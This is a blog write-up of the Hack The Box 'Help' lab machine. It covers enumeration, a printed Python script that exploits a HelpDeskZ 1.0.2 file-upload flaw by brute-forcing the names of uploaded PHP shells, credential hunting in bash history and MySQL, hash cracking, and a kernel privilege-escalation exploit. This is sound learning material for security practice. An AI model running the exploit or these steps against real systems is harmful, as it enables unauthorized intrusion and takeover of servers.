Posts Hack The Box: Help write-up
Post
Cancel

Hack The Box: Help write-up

Hack The Box: Help machine write-up

This is a cool machine based on a file upload which leads to user followed by a kernel exploit that grants us root. Not quite complicated right? The machine is running on port 10.10.10.121.

Enumeration

First, I enumerate open ports to discover the services running in the machine:

1
nmap -sV -sC -oA nmap/initial 10.10.10.121
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Nmap 7.70 scan initiated Wed Feb  6 19:50:38 2019 as: nmap -sV -sC -oA nmap/initial 10.10.10.121
Nmap scan report for 10.10.10.121
Host is up (0.031s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
|   256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_  256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb  6 19:50:53 2019 -- 1 IP address (1 host up) scanned in 15.03 seconds

As we can see, there is SSH enabled, a node.js instance on port 3000 and a web server on port 80. I didn’t even use the node service, so I think this attack vector was a bit unintended. It’s the only one that I found, though.

Accessing web server on port 80

Img

Upon finding the Apache2 default page I decided to use DirBuster to try to find juicy things. The most interesting things found were these two directories:

  • /support/
  • /support/uploads/tickets/ (this second one will be used later)

HelpDeskZ running on /support

Img

We see that apart from logging in there is as well the possibility of uploading a ticket.

Ticket submission page

Img

And guess what, it can include a file! Looks like we may have found something exploitable.

Possibility to upload a file

Img

Exploit

First of all, I tried to upload a PHP file, but got this error.

Error upon uploading a PHP file

Img

So then I searched on the internet and came across a python code that was supposedly exploiting this file upload feature:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import hashlib
import time
import sys
import requests

print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'

if len(sys.argv) < 3:
    print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
    sys.exit(1)

helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]

currentTime = int(time.time())

for x in range(0, 300):
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext).hexdigest()

    url = helpdeskzBaseUrl+md5hash+'.php'
    response = requests.head(url)
    if response.status_code == 200:
        print "found!"
        print url
        sys.exit(0)

print "Sorry, I did not find anything"

Apparently, it tries to brute-force the name of a file, which is an md5 hash of the file + the time at which it was created. Weird… Then, I found out the code was in GitHub! You can find it here. So I started going through it and found out a really interesting thing on this piece of code:

Vulnerable piece of code

Img

Img

Unbelievable! They are storing the file and afterwards doing the security check! The developers must have thought that security would be kept by just hashing the name of the file with the upload time.

It took me some time to realise why the script wasn’t working, but I finally realised that it was because the path wasn’t right, all files were being uploaded to /support/uploads/tickets/. I tried uploading an image to check this and it worked!

Image uploaded path

Img

Now I just needed to upload a shell and launch the script! Surprisingly, we’re already user help!. So I tried reading the user.txt hash and got it without problem:

Getting a reverse shell

Img

Privilege escalation

I inspected the system and found inside the .bash_history file this entry:

mysql -uroot -phelpme support

So I ran it and got different tables, from which users was definitely the most interesting one:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
mysql> show tables;
+------------------------+
| Tables_in_support      |
+------------------------+
| articles               |
| attachments            |
| canned_response        |
| custom_fields          |
| departments            |
| emails                 |
| error_log              |
| file_types             |
| knowledgebase_category |
| login_attempt          |
| login_log              |
| news                   |
| pages                  |
| priority               |
| settings               |
| staff                  |
| tickets                |
| tickets_messages       |
| users                  |
+------------------------+
19 rows in set (0.00 sec)

mysql> select * from users;
+----+------------+----------+-----------------------+------------------------------------------+-----------------+--------+
| id | salutation | fullname | email                 | password                                 | timezone        | status |
+----+------------+----------+-----------------------+------------------------------------------+-----------------+--------+
|  1 |          0 | helpme   | helpme@helpme.com     | c3b3bd1eb5142e29adb0044b16ee4d402d06f9ca | Europe/Brussels |      1 |
|  2 |          0 | xcvxv    | lolololol@yopmail.com | ec09fa0d0ba74336ea7fe392869adb198242f15a | NULL            |      1 |
+----+------------+----------+-----------------------+------------------------------------------+-----------------+--------+
9 rows in set (0.00 sec)

I cracked helpme’s hash c3b3bd1eb5142e29adb0044b16ee4d402d06f9ca and got Welcome1. Then, I tried loggin in as help through SSH with that password and success! That made things so much easier.

Getting back to the privesc part, I ran uname -a to find the kernel’s version to get the following:

1
2
help@help:~$ uname -a
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

It was obviously Linux Kernel 4.4 so I used searchsploit to try to find some useful exploit. And indeed there was a local privilege escalation, which I finally used.

Finding the right exploit with searchsploit

Img

I copied the C code to the machine serving it with python SimpleHTTPServer and then using wget. Once there, I just needed to compile and run it!

Getting root

Img

Note: I’ll keep the hash here in case it is needed to read write-ups (b7fe6082dcdf0c1b1e02ab0d9daddb98).

Really nice machine! Kudos to the creator! I hope you enjoyed reading.


Diego Bernal Adelantado
This post is licensed under CC BY 4.0 by the author.